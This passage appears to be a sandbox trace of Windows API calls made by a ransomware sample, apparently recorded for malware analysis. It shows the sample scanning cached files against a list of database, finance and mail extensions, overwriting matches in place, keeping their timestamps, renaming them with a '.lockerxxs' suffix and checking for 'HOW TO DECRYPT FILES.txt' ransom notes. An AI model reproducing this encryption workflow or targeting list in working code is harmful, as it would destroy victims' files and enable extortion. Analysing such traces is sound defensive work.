(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.wab") returned 0 [0083.313] lstrlenA (lpString="*.wab") returned 5 [0083.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.dat") returned 0 [0083.314] lstrlenA (lpString="*.dat") returned 5 [0083.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.txt") returned 0 [0083.314] lstrlenA (lpString="*.txt") returned 5 [0083.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.jpeg") returned 0 [0083.314] lstrlenA (lpString="*.jpeg") returned 6 [0083.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.jpg") returned 1 [0083.314] lstrlenA (lpString="*.jpg") returned 5 [0083.314] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg" [0083.314] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg" [0083.314] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg." [0083.314] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg.lockerxxs" [0083.314] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeeu5u[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.314] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7a9 [0083.315] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45b76710, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45b76710, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45b76710, dwHighDateTime=0x1d2faf3)) returned 1 [0083.315] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.315] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x783, lpOverlapped=0x0) returned 1 [0083.317] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg") returned="BBEeU5U[1].jpg" [0083.317] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.317] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x783, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x783, lpOverlapped=0x0) returned 1 [0083.317] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.318] CloseHandle (hObject=0xa4) returned 1 [0083.318] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeeu5u[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeeu5u[1].jpg.lockerxxs")) returned 1 [0083.318] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x456d9c70, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x86f, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEf306[1].jpg", cAlternateFileName="BBEF30~1.JPG")) returned 1 [0083.318] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.318] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEf306[1].jpg") returned 1 [0083.319] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEf306[1].jpg") returned 1 [0083.319] lstrcmpiA (lpString1="", lpString2="BBEf306[1].jpg") returned -1 [0083.319] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg") returned="BBEeU5U[1].jpg" [0083.319] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.319] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.319] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.319] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.319] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEf306[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg" [0083.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.ems") returned 0 [0083.319] lstrlenA (lpString="*.ems") returned 5 [0083.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.db") returned 0 [0083.319] lstrlenA (lpString="*.db") returned 4 [0083.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.dbf") returned 0 [0083.319] lstrlenA (lpString="*.dbf") returned 5 [0083.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.myox") returned 0 [0083.319] lstrlenA (lpString="*.myox") returned 6 [0083.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.myo") returned 0 [0083.319] lstrlenA (lpString="*.myo") returned 5 [0083.319] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.qbw") returned 0 [0083.319] lstrlenA (lpString="*.qbw") returned 5 [0083.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.qbb") returned 0 [0083.320] lstrlenA (lpString="*.qbb") returned 5 [0083.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.qbm") returned 0 [0083.320] lstrlenA (lpString="*.qbm") returned 5 [0083.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.qbo") returned 0 [0083.320] lstrlenA (lpString="*.qbo") returned 5 [0083.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.qbx") returned 0 [0083.320] lstrlenA (lpString="*.qbx") returned 5 [0083.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.qba") returned 0 [0083.320] lstrlenA (lpString="*.qba") returned 5 [0083.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.qby") returned 0 [0083.320] lstrlenA (lpString="*.qby") returned 5 [0083.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.qbj") returned 0 [0083.320] lstrlenA (lpString="*.qbj") returned 5 [0083.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.ofx") returned 0 [0083.320] lstrlenA (lpString="*.ofx") returned 5 [0083.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.qif") returned 0 [0083.320] lstrlenA (lpString="*.qif") returned 5 [0083.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.mye") returned 0 [0083.320] lstrlenA (lpString="*.mye") returned 5 [0083.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.mbox") returned 0 [0083.320] lstrlenA (lpString="*.mbox") returned 6 [0083.320] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.eml") returned 0 [0083.320] lstrlenA (lpString="*.eml") returned 5 [0083.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.pst") returned 0 [0083.321] lstrlenA (lpString="*.pst") returned 5 [0083.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.ost") returned 0 [0083.321] lstrlenA (lpString="*.ost") returned 5 [0083.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.idx") returned 0 [0083.321] lstrlenA (lpString="*.idx") returned 5 [0083.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.dbx") returned 0 [0083.321] lstrlenA (lpString="*.dbx") returned 5 [0083.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.sql") returned 0 [0083.321] lstrlenA (lpString="*.sql") returned 5 [0083.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.mdb") returned 0 [0083.321] lstrlenA (lpString="*.mdb") returned 5 [0083.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.fdb") returned 0 [0083.321] lstrlenA (lpString="*.fdb") returned 5 [0083.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.wab") returned 0 [0083.321] lstrlenA (lpString="*.wab") returned 5 [0083.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.dat") returned 0 [0083.321] lstrlenA (lpString="*.dat") returned 5 [0083.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.txt") returned 0 [0083.321] lstrlenA (lpString="*.txt") returned 5 [0083.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.jpeg") returned 0 [0083.321] lstrlenA (lpString="*.jpeg") returned 6 [0083.321] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", pszSpec="*.jpg") returned 1 [0083.321] lstrlenA (lpString="*.jpg") returned 5 [0083.321] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg" [0083.322] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg" [0083.322] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg." [0083.322] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg.lockerxxs" [0083.322] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef306[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.322] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x86f [0083.322] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x456d9c70, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x456d9c70, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x456d9c70, dwHighDateTime=0x1d2faf3)) returned 1 [0083.322] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.322] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x849, lpOverlapped=0x0) returned 1 [0083.324] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg") returned="BBEf306[1].jpg" [0083.324] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.325] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x849, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x849, lpOverlapped=0x0) returned 1 [0083.325] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.325] CloseHandle (hObject=0xa4) returned 1 [0083.325] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef306[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef306[1].jpg.lockerxxs")) returned 1 [0083.326] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459613d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459613d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x459613d0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEf54R[1].jpg", cAlternateFileName="BBEF54~1.JPG")) returned 1 [0083.326] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.326] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEf54R[1].jpg") returned 1 [0083.326] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEf54R[1].jpg") returned 1 [0083.326] lstrcmpiA (lpString1="", lpString2="BBEf54R[1].jpg") returned -1 [0083.326] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg") returned="BBEf306[1].jpg" [0083.326] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.326] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 